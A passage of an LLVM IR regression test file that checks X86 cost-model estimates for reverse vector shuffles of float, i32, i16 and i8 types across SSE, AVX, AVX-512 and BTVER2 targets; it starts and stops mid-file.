; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXf32'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXf32'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512-LABEL: 'test_vXf32'
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXf32'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V64 = shufflevector <2 x float> %src64, <2 x float> undef, <2 x i32> <i32 1, i32 0>
%V128 = shufflevector <4 x float> %src128, <4 x float> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
%V256 = shufflevector <8 x float> %src256, <8 x float> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <16 x float> %src512, <16 x float> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
define void @test_vXi32(<2 x i32> %src64, <4 x i32> %src128, <8 x i32> %src256, <16 x i32> %src512) {
; SSE-LABEL: 'test_vXi32'
; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXi32'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXi32'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512-LABEL: 'test_vXi32'
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXi32'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V64 = shufflevector <2 x i32> %src64, <2 x i32> undef, <2 x i32> <i32 1, i32 0>
%V128 = shufflevector <4 x i32> %src128, <4 x i32> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
%V256 = shufflevector <8 x i32> %src256, <8 x i32> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <16 x i32> %src512, <16 x i32> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
define void @test_vXi16(<8 x i16> %src128, <16 x i16> %src256, <32 x i16> %src512) {
; SSE2-LABEL: 'test_vXi16'
; SSE2-NEXT: Cost Model: Found an estimated cost of 3 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 6 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 12 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; SSSE3-LABEL: 'test_vXi16'
; SSSE3-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; SSE42-LABEL: 'test_vXi16'
; SSE42-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXi16'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 8 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXi16'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512F-LABEL: 'test_vXi16'
; AVX512F-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512F-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512BW-LABEL: 'test_vXi16'
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512BW-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512VBMI-LABEL: 'test_vXi16'
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512VBMI-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXi16'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 8 for instruction: %V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V128 = shufflevector <8 x i16> %src128, <8 x i16> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V256 = shufflevector <16 x i16> %src256, <16 x i16> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <32 x i16> %src512, <32 x i16> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
define void @test_vXi8(<16 x i8> %src128, <32 x i8> %src256, <64 x i8> %src512) {
; SSE2-LABEL: 'test_vXi8'
; SSE2-NEXT: Cost Model: Found an estimated cost of 9 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 18 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 36 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; SSSE3-LABEL: 'test_vXi8'
; SSSE3-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSSE3-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; SSE42-LABEL: 'test_vXi8'
; SSE42-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE42-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXi8'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V256 = shufflevector <32 x i8> %src256, <32 x i8> undef, <32 x i32> <i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 8 for instruction: %V512 = shufflevector <64 x i8> %src512, <64 x i8> undef, <64 x i32> <i32 63, i32 62, i32 61, i32 60, i32 59, i32 58, i32 57, i32 56, i32 55, i32 54, i32 53, i32 52, i32 51, i32 50, i32 49, i32 48, i32 47, i32 46, i32 45, i32 44, i32 43, i32 42, i32 41, i32 40, i32 39, i32 38, i32 37, i32 36, i32 35, i32 34, i32 33, i32 32, i32 31, i32 30, i32 29, i32 28, i32 27, i32 26, i32 25, i32 24, i32 23, i32 22, i32 21, i32 20, i32 19, i32 18, i32 17, i32 16, i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXi8'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <16 x i8> %src128, <16 x i8> undef, <16 x i32> <i32 15, i32 14, i32 13, i32 12, i32 11, i32 10, i32 9, i32 8, i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
